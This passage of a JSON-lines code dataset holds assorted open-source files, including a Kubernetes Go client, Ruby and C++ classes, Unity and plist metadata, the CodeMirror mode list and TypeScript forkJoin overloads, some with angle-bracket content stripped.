rest.Interface\n\tEndpointSlicesGetter\n}\n\n// DiscoveryV1alpha1Client is used to interact with features provided by the discovery.k8s.io group.\ntype DiscoveryV1alpha1Client struct {\n\trestClient rest.Interface\n}\n\nfunc (c *DiscoveryV1alpha1Client) EndpointSlices(namespace string) EndpointSliceInterface {\n\treturn newEndpointSlices(c, namespace)\n}\n\n// NewForConfig creates a new DiscoveryV1alpha1Client for the given config.\nfunc NewForConfig(c *rest.Config) (*DiscoveryV1alpha1Client, error) {\n\tconfig := *c\n\tif err := setConfigDefaults(&config); err != nil {\n\t\treturn nil, err\n\t}\n\tclient, err := rest.RESTClientFor(&config)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &DiscoveryV1alpha1Client{client}, nil\n}\n\n// NewForConfigOrDie creates a new DiscoveryV1alpha1Client for the given config and\n// panics if there is an error in the config.\nfunc NewForConfigOrDie(c *rest.Config) *DiscoveryV1alpha1Client {\n\tclient, err := NewForConfig(c)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\treturn client\n}\n\n// New creates a new DiscoveryV1alpha1Client for the given RESTClient.\nfunc New(c rest.Interface) *DiscoveryV1alpha1Client {\n\treturn &DiscoveryV1alpha1Client{c}\n}\n\nfunc setConfigDefaults(config *rest.Config) error {\n\tgv := v1alpha1.SchemeGroupVersion\n\tconfig.GroupVersion = &gv\n\tconfig.APIPath = \"/apis\"\n\tconfig.NegotiatedSerializer = scheme.Codecs.WithoutConversion()\n\n\tif config.UserAgent == \"\" {\n\t\tconfig.UserAgent = rest.DefaultKubernetesUserAgent()\n\t}\n\n\treturn nil\n}\n\n// RESTClient returns a RESTClient that is used to communicate\n// with API server by this client implementation.\nfunc (c *DiscoveryV1alpha1Client) RESTClient() rest.Interface {\n\tif c == nil {\n\t\treturn nil\n\t}\n\treturn c.restClient\n}\n"} -{"text": "/*\nCopyright 2017 Nia Catlin\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\nhttp://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\n#include \"stdafx.h\"\n#include \"headers\\binaryTargets.h\"\n\n//finds container for the target with the specified path - returns false\n//if it doesn't exist, creates it and returns true (new binary target)\nbool binaryTargets::getTargetByPath(boost::filesystem::path path, binaryTarget **target)\n{\n\n\ttargetsLock.lock();\n\n\n\tbinaryTarget* result = NULL;\n\tbool newBinary;\n\tauto it = targets.find(path);\n\tif (it != targets.end()) \n\t{ \n\t\tresult = it->second;\n\t\tnewBinary = false;\n\t}\n\telse\n\t{\n\t\tbinaryTarget *newTarget = new binaryTarget(path.generic_path());\n\t\tresult = targets.emplace(make_pair(path, newTarget)).first->second;\n\n\t\ttargetsList.push_back(result);\n\t\tnewBinary = true;\n\n\t}\n\ttargetsLock.unlock();\n\n\t*target = result;\n\treturn newBinary;\n}\n\nvoid binaryTargets::registerChild(PID_TID parentPID, traceRecord *trace)\n{\n\tvector matchingRecords;\n\n\ttargetsLock.lock();\n\n\tfor (auto tarIt = targets.begin(); tarIt != targets.end(); tarIt++)\n\t{\n\t\ttraceRecord *possibleParentTrace = tarIt->second->getRecordWithPID(parentPID, 0);\n\t\tif (possibleParentTrace)\n\t\t\tmatchingRecords.push_back(possibleParentTrace);\n\t}\n\ttargetsLock.unlock();\n\n\tif (!matchingRecords.empty())\n\t{\n\t\ttraceRecord *mostRecentPossibleParent = matchingRecords.back();\n\t\tmostRecentPossibleParent->children.push_back(trace);\n\t\ttrace->parentTrace = mostRecentPossibleParent;\n\t}\n}\n\nvector binaryTargets::getTargetsList() \n{ \n\tvector tempTargets;\n\ttargetsLock.lock();\n\ttempTargets = targetsList;\n\ttargetsLock.unlock();\n\treturn tempTargets;\n}\n\nvoid binaryTargets::clear()\n{\n\ttargetsLock.lock();\n\ttargets.clear();\n\ttargetsList.clear();\n\tactiveTarget = NULL;\n\ttargetsLock.unlock();\n}"} -{"text": "module github.com/Microsoft/go-winio\n\ngo 1.12\n\nrequire (\n\tgithub.com/pkg/errors v0.8.1\n\tgithub.com/sirupsen/logrus v1.4.1\n\tgolang.org/x/sys v0.0.0-20190507160741-ecd444e8653b\n)\n"} -{"text": "module Lowkiq\n class Server\n def self.build(options)\n require options[:require]\n Lowkiq.on_server_init.call\n\n splitter = Lowkiq.build_splitter.call\n shard_handlers_by_thread = splitter.call Lowkiq.shard_handlers\n scheduler = Lowkiq.build_scheduler.call\n new shard_handlers_by_thread, scheduler\n end\n\n def initialize(shard_handlers_by_thread, scheduler)\n @shard_handlers_by_thread = shard_handlers_by_thread\n @scheduler = scheduler\n @threads = []\n end\n\n def start\n Lowkiq.server_redis_pool.with do |redis|\n Script.load! redis\n end\n\n @shard_handlers_by_thread.each do |handlers|\n handlers.each(&:restore)\n end\n\n @threads = @shard_handlers_by_thread.map do |handlers|\n job = @scheduler.build_job handlers\n Thread.new do\n job.call until exit_from_thread?\n end\n end\n end\n\n def stop\n @stopped = true\n end\n\n def join\n @threads.each(&:join)\n end\n\n def exit_from_thread?\n stopped? || failed?\n end\n\n def stopped?\n @stopped\n end\n\n def failed?\n @threads.map(&:status).any? do |status|\n status != \"run\" && status != \"sleep\"\n end\n end\n end\nend\n"} -{"text": "fileFormatVersion: 2\nguid: fc5c4859e52974c1484129ed74549d03\nMonoImporter:\n externalObjects: {}\n serializedVersion: 2\n defaultReferences: []\n executionOrder: 0\n icon: {instanceID: 0}\n userData: \n assetBundleName: \n assetBundleVariant: \n"} -{"text": "<% use_js_layout :media %>\n\n
\n
\n \n <% if current_user.allow?(:media_dir_create) %>\n <%= link_to(\n button_text(:add),\n skyline_media_dirs_path,\n :remote => true,\n :method => :post,\n :id => \"add_directory\",\n :class => \"button small right\")\n %>\n \n\n <%= t(:directories, :scope => [:media, :dirs, :index]) %>\n <% end %>\n \n
\n
\n
\n <%= render :partial => \"skyline/media/dirs/index\" %>\n
\n
\n
\n\n
\n <%= render :partial => \"skyline/media/dirs/show\" %>\n
\n\n
\n <% if @file %>\n <%= render :partial => \"skyline/media/files/edit\" %>\n <% end %>\n <% if @dir && current_user.allow?(:media_dir_update) %>\n <%= render :partial => \"skyline/media/dirs/edit\" %>\n <% end %>\n
"} -{"text": "// Copyright 2014 The Chromium Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style license that can be\n// found in the LICENSE file.\n\n#include \"components/signin/ios/browser/oauth2_token_service_observer_bridge.h\"\n\nOAuth2TokenServiceObserverBridge::OAuth2TokenServiceObserverBridge(\n OAuth2TokenService* token_service,\n id delegate)\n : token_service_(token_service),\n delegate_(delegate) {\n DCHECK(token_service_);\n token_service_->AddObserver(this);\n}\nOAuth2TokenServiceObserverBridge::~OAuth2TokenServiceObserverBridge() {\n token_service_->RemoveObserver(this);\n}\n\nvoid OAuth2TokenServiceObserverBridge::OnRefreshTokenAvailable(\n const std::string& account_id) {\n if ([delegate_ respondsToSelector:@selector(onRefreshTokenAvailable:)]) {\n [delegate_ onRefreshTokenAvailable:account_id];\n }\n}\n\nvoid OAuth2TokenServiceObserverBridge::OnRefreshTokenRevoked(\n const std::string& account_id) {\n if ([delegate_ respondsToSelector:@selector(onRefreshTokenRevoked:)]) {\n [delegate_ onRefreshTokenRevoked:account_id];\n }\n}\nvoid OAuth2TokenServiceObserverBridge::OnRefreshTokensLoaded() {\n if ([delegate_ respondsToSelector:@selector(onRefreshTokensLoaded)]) {\n [delegate_ onRefreshTokensLoaded];\n }\n}\nvoid OAuth2TokenServiceObserverBridge::OnStartBatchChanges() {\n if ([delegate_ respondsToSelector:@selector(onStartBatchChanges)]) {\n [delegate_ onStartBatchChanges];\n }\n\n}\n\nvoid OAuth2TokenServiceObserverBridge::OnEndBatchChanges() {\n if ([delegate_ respondsToSelector:@selector(onEndBatchChanges)]) {\n [delegate_ onEndBatchChanges];\n }\n}\n"} -{"text": "---\ndescription: \"Compiler Error CS1034\"\ntitle: \"Compiler Error CS1034\"\nms.date: 07/20/2015\nf1_keywords: \n - \"CS1034\"\nhelpviewer_keywords: \n - \"CS1034\"\nms.assetid: 07edf234-92c6-42de-a140-8e9964fcfe71\n---\n# Compiler Error CS1034\n\nCompiler limit exceeded: Line cannot exceed 'number' characters \n \n The limit for the number of characters allowed on a line is 16,777,214.\n"} -{"text": "\n\n\n\n\tBuildVersion\n\t1\n\tCFBundleShortVersionString\n\t1.0\n\tCFBundleVersion\n\t1.0\n\tProjectName\n\tDevToolsWizardTemplates\n\tSourceVersion\n\t3070000\n\n\n"} -{"text": "\n\n\n\n \n\n\n \n\n \n\n \n\n \n\n \n\n \n\n \n\n \n \n\n\n"} -{"text": "\n\n \n \n\n"} -{"text": "#include \"clear.hpp\"\n#include \n\nnamespace gli\n{\n\ttemplate \n\tinline sampler2d::sampler2d(texture_type const & Texture, wrap Wrap, filter Mip, filter Min, texel_type const & BorderColor)\n\t\t: sampler(Wrap, Texture.levels() > 1 ? Mip : FILTER_NEAREST, Min)\n\t\t, Texture(Texture)\n\t\t, Convert(detail::convert::call(this->Texture.format()))\n\t\t, BorderColor(BorderColor)\n\t\t, Filter(detail::get_filter(Mip, Min, is_border(Wrap)))\n\t{\n\t\tGLI_ASSERT(!Texture.empty());\n\t\tGLI_ASSERT(!is_compressed(Texture.format()));\n\t\tGLI_ASSERT((!std::numeric_limits::is_iec559 && Mip == FILTER_NEAREST && Min == FILTER_NEAREST) || std::numeric_limits::is_iec559);\n\t}\n\n\ttemplate \n\tinline typename sampler2d::texture_type const & sampler2d::operator()() const\n\t{\n\t\treturn this->Texture;\n\t}\n\n\ttemplate \n\tinline typename sampler2d::texel_type sampler2d::texel_fetch(extent_type const & TexelCoord, size_type const & Level) const\n\t{\n\t\tGLI_ASSERT(!this->Texture.empty());\n\t\tGLI_ASSERT(this->Convert.Fetch);\n\n\t\treturn this->Convert.Fetch(this->Texture, TexelCoord, 0, 0, Level);\n\t}\n\n\ttemplate \n\tinline void sampler2d::texel_write(extent_type const & TexelCoord, size_type const & Level, texel_type const & Texel)\n\t{\n\t\tGLI_ASSERT(!this->Texture.empty());\n\t\tGLI_ASSERT(this->Convert.Write);\n\n\t\tthis->Convert.Write(this->Texture, TexelCoord, 0, 0, Level, Texel);\n\t}\n\n\ttemplate \n\tinline void sampler2d::clear(texel_type const & Color)\n\t{\n\t\tGLI_ASSERT(!this->Texture.empty());\n\t\tGLI_ASSERT(this->Convert.Write);\n\n\t\tdetail::clear::call(this->Texture, this->Convert.Write, Color);\n\t}\n\n\ttemplate \n\tinline typename sampler2d::texel_type sampler2d::texture_lod(normalized_type const & SampleCoord, level_type Level) const\n\t{\n\t\tGLI_ASSERT(!this->Texture.empty());\n\t\tGLI_ASSERT(std::numeric_limits::is_iec559);\n\t\tGLI_ASSERT(this->Filter && this->Convert.Fetch);\n\n\t\tnormalized_type const SampleCoordWrap(this->Wrap(SampleCoord.x), this->Wrap(SampleCoord.y));\n\t\treturn this->Filter(this->Texture, this->Convert.Fetch, SampleCoordWrap, size_type(0), size_type(0), Level, this->BorderColor);\n\t}\n\n\ttemplate \n\tinline void sampler2d::generate_mipmaps(filter Minification)\n\t{\n\t\tthis->generate_mipmaps(this->Texture.base_level(), this->Texture.max_level(), Minification);\n\t}\n\n\ttemplate \n\tinline void sampler2d::generate_mipmaps(size_type BaseLevel, size_type MaxLevel, filter Minification)\n\t{\n\t\tGLI_ASSERT(!this->Texture.empty());\n\t\tGLI_ASSERT(!is_compressed(this->Texture.format()));\n\t\tGLI_ASSERT(this->Texture.base_level() <= BaseLevel && BaseLevel <= MaxLevel && MaxLevel <= this->Texture.max_level());\n\t\tGLI_ASSERT(this->Convert.Fetch && this->Convert.Write);\n\t\tGLI_ASSERT(Minification >= FILTER_FIRST && Minification <= FILTER_LAST);\n\n\t\tdetail::generate_mipmaps_2d(\n\t\t\tthis->Texture, this->Convert.Fetch, this->Convert.Write, 0, 0, 0, 0, BaseLevel, MaxLevel, Minification);\n\t}\n}//namespace gli\n\n"} -{"text": "// CodeMirror, copyright (c) by Marijn Haverbeke and others\n// Distributed under an MIT license: http://codemirror.net/LICENSE\n\n(function(mod) {\n if (typeof exports == \"object\" && typeof module == \"object\") // CommonJS\n mod(require(\"../lib/codemirror\"));\n else if (typeof define == \"function\" && define.amd) // AMD\n define([\"../lib/codemirror\"], mod);\n else // Plain browser env\n mod(CodeMirror);\n})(function(CodeMirror) {\n \"use strict\";\n\n CodeMirror.modeInfo = [\n {name: \"APL\", mime: \"text/apl\", mode: \"apl\", ext: [\"dyalog\", \"apl\"]},\n {name: \"Asterisk\", mime: \"text/x-asterisk\", mode: \"asterisk\", file: /^extensions\\.conf$/i},\n {name: \"C\", mime: \"text/x-csrc\", mode: \"clike\", ext: [\"c\", \"h\"]},\n {name: \"C++\", mime: \"text/x-c++src\", mode: \"clike\", ext: [\"cpp\", \"c++\", \"cc\", \"cxx\", \"hpp\", \"h++\", \"hh\", \"hxx\"], alias: [\"cpp\"]},\n {name: \"Cobol\", mime: \"text/x-cobol\", mode: \"cobol\", ext: [\"cob\", \"cpy\"]},\n {name: \"C#\", mime: \"text/x-csharp\", mode: \"clike\", ext: [\"cs\"], alias: [\"csharp\"]},\n {name: \"Clojure\", mime: \"text/x-clojure\", mode: \"clojure\", ext: [\"clj\"]},\n {name: \"CoffeeScript\", mime: \"text/x-coffeescript\", mode: \"coffeescript\", ext: [\"coffee\"], alias: [\"coffee\", \"coffee-script\"]},\n {name: \"Common Lisp\", mime: \"text/x-common-lisp\", mode: \"commonlisp\", ext: [\"cl\", \"lisp\", \"el\"], alias: [\"lisp\"]},\n {name: \"Cypher\", mime: \"application/x-cypher-query\", mode: \"cypher\", ext: [\"cyp\", \"cypher\"]},\n {name: \"Cython\", mime: \"text/x-cython\", mode: \"python\", ext: [\"pyx\", \"pxd\", \"pxi\"]},\n {name: \"CSS\", mime: \"text/css\", mode: \"css\", ext: [\"css\"]},\n {name: \"CQL\", mime: \"text/x-cassandra\", mode: \"sql\", ext: [\"cql\"]},\n {name: \"D\", mime: \"text/x-d\", mode: \"d\", ext: [\"d\"]},\n {name: \"Dart\", mimes: [\"application/dart\", \"text/x-dart\"], mode: \"dart\", ext: [\"dart\"]},\n {name: \"diff\", mime: \"text/x-diff\", mode: \"diff\", ext: [\"diff\", \"patch\"]},\n {name: \"Django\", mime: \"text/x-django\", mode: \"django\"},\n {name: \"Dockerfile\", mime: \"text/x-dockerfile\", mode: \"dockerfile\", file: /^Dockerfile$/},\n {name: \"DTD\", mime: \"application/xml-dtd\", mode: \"dtd\", ext: [\"dtd\"]},\n {name: \"Dylan\", mime: \"text/x-dylan\", mode: \"dylan\", ext: [\"dylan\", \"dyl\", \"intr\"]},\n {name: \"EBNF\", mime: \"text/x-ebnf\", mode: \"ebnf\"},\n {name: \"ECL\", mime: \"text/x-ecl\", mode: \"ecl\", ext: [\"ecl\"]},\n {name: \"Eiffel\", mime: \"text/x-eiffel\", mode: \"eiffel\", ext: [\"e\"]},\n {name: \"Embedded Javascript\", mime: \"application/x-ejs\", mode: \"htmlembedded\", ext: [\"ejs\"]},\n {name: \"Embedded Ruby\", mime: \"application/x-erb\", mode: \"htmlembedded\", ext: [\"erb\"]},\n {name: \"Erlang\", mime: \"text/x-erlang\", mode: \"erlang\", ext: [\"erl\"]},\n {name: \"Forth\", mime: \"text/x-forth\", mode: \"forth\", ext: [\"forth\", \"fth\", \"4th\"]},\n {name: \"Fortran\", mime: \"text/x-fortran\", mode: \"fortran\", ext: [\"f\", \"for\", \"f77\", \"f90\"]},\n {name: \"F#\", mime: \"text/x-fsharp\", mode: \"mllike\", ext: [\"fs\"], alias: [\"fsharp\"]},\n {name: \"Gas\", mime: \"text/x-gas\", mode: \"gas\", ext: [\"s\"]},\n {name: \"Gherkin\", mime: \"text/x-feature\", mode: \"gherkin\", ext: [\"feature\"]},\n {name: \"GitHub Flavored Markdown\", mime: \"text/x-gfm\", mode: \"gfm\", file: /^(readme|contributing|history).md$/i},\n {name: \"Go\", mime: \"text/x-go\", mode: \"go\", ext: [\"go\"]},\n {name: \"Groovy\", mime: \"text/x-groovy\", mode: \"groovy\", ext: [\"groovy\"]},\n {name: \"HAML\", mime: \"text/x-haml\", mode: \"haml\", ext: [\"haml\"]},\n {name: \"Haskell\", mime: \"text/x-haskell\", mode: \"haskell\", ext: [\"hs\"]},\n {name: \"Haxe\", mime: \"text/x-haxe\", mode: \"haxe\", ext: [\"hx\"]},\n {name: \"HXML\", mime: \"text/x-hxml\", mode: \"haxe\", ext: [\"hxml\"]},\n {name: \"ASP.NET\", mime: \"application/x-aspx\", mode: \"htmlembedded\", ext: [\"aspx\"], alias: [\"asp\", \"aspx\"]},\n {name: \"HTML\", mime: \"text/html\", mode: \"htmlmixed\", ext: [\"html\", \"htm\"], alias: [\"xhtml\"]},\n {name: \"HTTP\", mime: \"message/http\", mode: \"http\"},\n {name: \"IDL\", mime: \"text/x-idl\", mode: \"idl\", ext: [\"pro\"]},\n {name: \"Jade\", mime: \"text/x-jade\", mode: \"jade\", ext: [\"jade\"]},\n {name: \"Java\", mime: \"text/x-java\", mode: \"clike\", ext: [\"java\"]},\n {name: \"Java Server Pages\", mime: \"application/x-jsp\", mode: \"htmlembedded\", ext: [\"jsp\"], alias: [\"jsp\"]},\n {name: \"JavaScript\", mimes: [\"text/javascript\", \"text/ecmascript\", \"application/javascript\", \"application/x-javascript\", \"application/ecmascript\"],\n mode: \"javascript\", ext: [\"js\"], alias: [\"ecmascript\", \"js\", \"node\"]},\n {name: \"JSON\", mimes: [\"application/json\", \"application/x-json\"], mode: \"javascript\", ext: [\"json\", \"map\"], alias: [\"json5\"]},\n {name: \"JSON-LD\", mime: \"application/ld+json\", mode: \"javascript\", ext: [\"jsonld\"], alias: [\"jsonld\"]},\n {name: \"Jinja2\", mime: \"null\", mode: \"jinja2\"},\n {name: \"Julia\", mime: \"text/x-julia\", mode: \"julia\", ext: [\"jl\"]},\n {name: \"Kotlin\", mime: \"text/x-kotlin\", mode: \"kotlin\", ext: [\"kt\"]},\n {name: \"LESS\", mime: \"text/x-less\", mode: \"css\", ext: [\"less\"]},\n {name: \"LiveScript\", mime: \"text/x-livescript\", mode: \"livescript\", ext: [\"ls\"], alias: [\"ls\"]},\n {name: \"Lua\", mime: \"text/x-lua\", mode: \"lua\", ext: [\"lua\"]},\n {name: \"Markdown\", mime: \"text/x-markdown\", mode: \"markdown\", ext: [\"markdown\", \"md\", \"mkd\"]},\n {name: \"mIRC\", mime: \"text/mirc\", mode: \"mirc\"},\n {name: \"MariaDB SQL\", mime: \"text/x-mariadb\", mode: \"sql\"},\n {name: \"Modelica\", mime: \"text/x-modelica\", mode: \"modelica\", ext: [\"mo\"]},\n {name: \"MS SQL\", mime: \"text/x-mssql\", mode: \"sql\"},\n {name: \"MySQL\", mime: \"text/x-mysql\", mode: \"sql\"},\n {name: \"Nginx\", mime: \"text/x-nginx-conf\", mode: \"nginx\", file: /nginx.*\\.conf$/i},\n {name: \"NTriples\", mime: \"text/n-triples\", mode: \"ntriples\", ext: [\"nt\"]},\n {name: \"Objective C\", mime: \"text/x-objectivec\", mode: \"clike\", ext: [\"m\", \"mm\"]},\n {name: \"OCaml\", mime: \"text/x-ocaml\", mode: \"mllike\", ext: [\"ml\", \"mli\", \"mll\", \"mly\"]},\n {name: \"Octave\", mime: \"text/x-octave\", mode: \"octave\", ext: [\"m\"]},\n {name: \"Pascal\", mime: \"text/x-pascal\", mode: \"pascal\", ext: [\"p\", \"pas\"]},\n {name: \"PEG.js\", mime: \"null\", mode: \"pegjs\", ext: [\"jsonld\"]},\n {name: \"Perl\", mime: \"text/x-perl\", mode: \"perl\", ext: [\"pl\", \"pm\"]},\n {name: \"PHP\", mime: \"application/x-httpd-php\", mode: \"php\", ext: [\"php\", \"php3\", \"php4\", \"php5\", \"phtml\"]},\n {name: \"Pig\", mime: \"text/x-pig\", mode: \"pig\", ext: [\"pig\"]},\n {name: \"Plain Text\", mime: \"text/plain\", mode: \"null\", ext: [\"txt\", \"text\", \"conf\", \"def\", \"list\", \"log\"]},\n {name: \"PLSQL\", mime: \"text/x-plsql\", mode: \"sql\", ext: [\"pls\"]},\n {name: \"Properties files\", mime: \"text/x-properties\", mode: \"properties\", ext: [\"properties\", \"ini\", \"in\"], alias: [\"ini\", \"properties\"]},\n {name: \"Python\", mime: \"text/x-python\", mode: \"python\", ext: [\"py\", \"pyw\"]},\n {name: \"Puppet\", mime: \"text/x-puppet\", mode: \"puppet\", ext: [\"pp\"]},\n {name: \"Q\", mime: \"text/x-q\", mode: \"q\", ext: [\"q\"]},\n {name: \"R\", mime: \"text/x-rsrc\", mode: \"r\", ext: [\"r\"], alias: [\"rscript\"]},\n {name: \"reStructuredText\", mime: \"text/x-rst\", mode: \"rst\", ext: [\"rst\"], alias: [\"rst\"]},\n {name: \"RPM Changes\", mime: \"text/x-rpm-changes\", mode: \"rpm\"},\n {name: \"RPM Spec\", mime: \"text/x-rpm-spec\", mode: \"rpm\", ext: [\"spec\"]},\n {name: \"Ruby\", mime: \"text/x-ruby\", mode: \"ruby\", ext: [\"rb\"], alias: [\"jruby\", \"macruby\", \"rake\", \"rb\", \"rbx\"]},\n {name: \"Rust\", mime: \"text/x-rustsrc\", mode: \"rust\", ext: [\"rs\"]},\n {name: \"Sass\", mime: \"text/x-sass\", mode: \"sass\", ext: [\"sass\"]},\n {name: \"Scala\", mime: \"text/x-scala\", mode: \"clike\", ext: [\"scala\"]},\n {name: \"Scheme\", mime: \"text/x-scheme\", mode: \"scheme\", ext: [\"scm\", \"ss\"]},\n {name: \"SCSS\", mime: \"text/x-scss\", mode: \"css\", ext: [\"scss\"]},\n {name: \"Shell\", mime: \"text/x-sh\", mode: \"shell\", ext: [\"sh\", \"ksh\", \"bash\"], alias: [\"bash\", \"sh\", \"zsh\"]},\n {name: \"Sieve\", mime: \"application/sieve\", mode: \"sieve\", ext: [\"siv\", \"sieve\"]},\n {name: \"Slim\", mimes: [\"text/x-slim\", \"application/x-slim\"], mode: \"slim\", ext: [\"slim\"]},\n {name: \"Smalltalk\", mime: \"text/x-stsrc\", mode: \"smalltalk\", ext: [\"st\"]},\n {name: \"Smarty\", mime: \"text/x-smarty\", mode: \"smarty\", ext: [\"tpl\"]},\n {name: \"SmartyMixed\", mime: \"text/x-smarty\", mode: \"smartymixed\"},\n {name: \"Solr\", mime: \"text/x-solr\", mode: \"solr\"},\n {name: \"Soy\", mime: \"text/x-soy\", mode: \"soy\", ext: [\"soy\"], alias: [\"closure template\"]},\n {name: \"SPARQL\", mime: \"application/sparql-query\", mode: \"sparql\", ext: [\"rq\", \"sparql\"], alias: [\"sparul\"]},\n {name: \"Spreadsheet\", mime: \"text/x-spreadsheet\", mode: \"spreadsheet\", alias: [\"excel\", \"formula\"]},\n {name: \"SQL\", mime: \"text/x-sql\", mode: \"sql\", ext: [\"sql\"]},\n {name: \"MariaDB\", mime: \"text/x-mariadb\", mode: \"sql\"},\n {name: \"sTeX\", mime: \"text/x-stex\", mode: \"stex\"},\n {name: \"LaTeX\", mime: \"text/x-latex\", mode: \"stex\", ext: [\"text\", \"ltx\"], alias: [\"tex\"]},\n {name: \"SystemVerilog\", mime: \"text/x-systemverilog\", mode: \"verilog\", ext: [\"v\"]},\n {name: \"Tcl\", mime: \"text/x-tcl\", mode: \"tcl\", ext: [\"tcl\"]},\n {name: \"Textile\", mime: \"text/x-textile\", mode: \"textile\", ext: [\"textile\"]},\n {name: \"TiddlyWiki \", mime: \"text/x-tiddlywiki\", mode: \"tiddlywiki\"},\n {name: \"Tiki wiki\", mime: \"text/tiki\", mode: \"tiki\"},\n {name: \"TOML\", mime: \"text/x-toml\", mode: \"toml\", ext: [\"toml\"]},\n {name: \"Tornado\", mime: \"text/x-tornado\", mode: \"tornado\"},\n {name: \"Turtle\", mime: \"text/turtle\", mode: \"turtle\", ext: [\"ttl\"]},\n {name: \"TypeScript\", mime: \"application/typescript\", mode: \"javascript\", ext: [\"ts\"], alias: [\"ts\"]},\n {name: \"VB.NET\", mime: \"text/x-vb\", mode: \"vb\", ext: [\"vb\"]},\n {name: \"VBScript\", mime: \"text/vbscript\", mode: \"vbscript\", ext: [\"vbs\"]},\n {name: \"Velocity\", mime: \"text/velocity\", mode: \"velocity\", ext: [\"vtl\"]},\n {name: \"Verilog\", mime: \"text/x-verilog\", mode: \"verilog\", ext: [\"v\"]},\n {name: \"XML\", mimes: [\"application/xml\", \"text/xml\"], mode: \"xml\", ext: [\"xml\", \"xsl\", \"xsd\"], alias: [\"rss\", \"wsdl\", \"xsd\"]},\n {name: \"XQuery\", mime: \"application/xquery\", mode: \"xquery\", ext: [\"xy\", \"xquery\"]},\n {name: \"YAML\", mime: \"text/x-yaml\", mode: \"yaml\", ext: [\"yaml\"], alias: [\"yml\"]},\n {name: \"Z80\", mime: \"text/x-z80\", mode: \"z80\", ext: [\"z80\"]}\n ];\n // Ensure all modes have a mime property for backwards compatibility\n for (var i = 0; i < CodeMirror.modeInfo.length; i++) {\n var info = CodeMirror.modeInfo[i];\n if (info.mimes) info.mime = info.mimes[0];\n }\n\n CodeMirror.findModeByMIME = function(mime) {\n mime = mime.toLowerCase();\n for (var i = 0; i < CodeMirror.modeInfo.length; i++) {\n var info = CodeMirror.modeInfo[i];\n if (info.mime == mime) return info;\n if (info.mimes) for (var j = 0; j < info.mimes.length; j++)\n if (info.mimes[j] == mime) return info;\n }\n };\n\n CodeMirror.findModeByExtension = function(ext) {\n for (var i = 0; i < CodeMirror.modeInfo.length; i++) {\n var info = CodeMirror.modeInfo[i];\n if (info.ext) for (var j = 0; j < info.ext.length; j++)\n if (info.ext[j] == ext) return info;\n }\n };\n\n CodeMirror.findModeByFileName = function(filename) {\n for (var i = 0; i < CodeMirror.modeInfo.length; i++) {\n var info = CodeMirror.modeInfo[i];\n if (info.file && info.file.test(filename)) return info;\n }\n var dot = filename.lastIndexOf(\".\");\n var ext = dot > -1 && filename.substring(dot + 1, filename.length);\n if (ext) return CodeMirror.findModeByExtension(ext);\n };\n\n CodeMirror.findModeByName = function(name) {\n name = name.toLowerCase();\n for (var i = 0; i < CodeMirror.modeInfo.length; i++) {\n var info = CodeMirror.modeInfo[i];\n if (info.name.toLowerCase() == name) return info;\n if (info.alias) for (var j = 0; j < info.alias.length; j++)\n if (info.alias[j].toLowerCase() == name) return info;\n }\n };\n});\n"} -{"text": "import { identity } from '../util/identity';\nimport { wrapWithAbort } from './operators/withabort';\n\n// eslint-disable-next-line @typescript-eslint/no-empty-function\nconst NEVER_PROMISE = new Promise(() => {});\n\ntype MergeResult = { value: T; index: number };\n\nfunction wrapPromiseWithIndex(promise: Promise, index: number) {\n return promise.then((value) => ({ value, index })) as Promise>;\n}\n\n/**\n * Runs all specified async-iterable sequences in parallel and collects their last elements.\n *\n * @export\n * @template T The type of the elements in the first source sequence.\n * @template T2 The type of the elements in the second source sequence.\n * @param {AsyncIterable} source First async-iterable source.\n * @param {AsyncIterable} source2 Second async-iterable source.\n * @returns {(Promise<[T, T2] | undefined>)} An async-iterable sequence with an array of all the last elements of all sequences.\n */\nexport function forkJoin(\n source: AsyncIterable,\n source2: AsyncIterable\n): Promise<[T, T2] | undefined>;\n/**\n * Runs all specified async-iterable sequences in parallel and collects their last elements.\n *\n * @export\n * @template T The type of the elements in the first source sequence.\n * @template T2 The type of the elements in the second source sequence.\n * @template T3 The type of the elements in the third source sequence.\n * @param {AsyncIterable} source First async-iterable source.\n * @param {AsyncIterable} source2 Second async-iterable source.\n * @param {AsyncIterable} source3 Third async-iterable source.\n * @returns {(Promise<[T, T2, T3] | undefined>)} An async-iterable sequence with an array of all the last elements of all sequences.\n */\nexport function forkJoin(\n source: AsyncIterable,\n source2: AsyncIterable,\n source3: AsyncIterable\n): Promise<[T, T2, T3] | undefined>;\n/**\n * Runs all specified async-iterable sequences in parallel and collects their last elements.\n *\n * @export\n * @template T The type of the elements in the first source sequence.\n * @template T2 The type of the elements in the second source sequence.\n * @template T3 The type of the elements in the third source sequence.\n * @template T4 The type of the elements in the fourth source sequence.\n * @param {AsyncIterable} source First async-iterable source.\n * @param {AsyncIterable} source2 Second async-iterable source.\n * @param {AsyncIterable} source3 Third async-iterable source.\n * @param {AsyncIterable} source4 Fourth async-iterable source.\n * @returns {(Promise<[T, T2, T3, T4] | undefined>)} An async-iterable sequence with an array of all the last elements of all sequences.\n */\nexport function forkJoin(\n source: AsyncIterable,\n source2: AsyncIterable,\n source3: AsyncIterable,\n source4: AsyncIterable\n): Promise<[T, T2, T3, T4] | undefined>;\n/**\n * Runs all specified async-iterable sequences in parallel and collects their last elements.\n *\n * @export\n * @template T The type of the elements in the first source sequence.\n * @template T2 The type of the elements in the second source sequence.\n * @template T3 The type of the elements in the third source sequence.\n * @template T4 The type of the elements in the fourth source sequence.\n * @template T5 The type of the elements in the fifth source sequence.\n * @param {AsyncIterable} source First async-iterable source.\n * @param {AsyncIterable} source2 Second async-iterable source.\n * @param {AsyncIterable} source3 Third async-iterable source.\n * @param {AsyncIterable} source4 Fourth async-iterable source.\n * @param {AsyncIterable} source5 Fifth async-iterable source.\n * @returns {(Promise<[T, T2, T3, T4, T5] | undefined>)} An async-iterable sequence with an array of all the last elements of all sequences.\n */\nexport function forkJoin(\n source: AsyncIterable,\n source2: AsyncIterable,\n source3: AsyncIterable,\n source4: AsyncIterable,\n source5: AsyncIterable\n): Promise<[T, T2, T3, T4, T5] | undefined>;\n/**\n * Runs all specified async-iterable sequences in parallel and collects their last 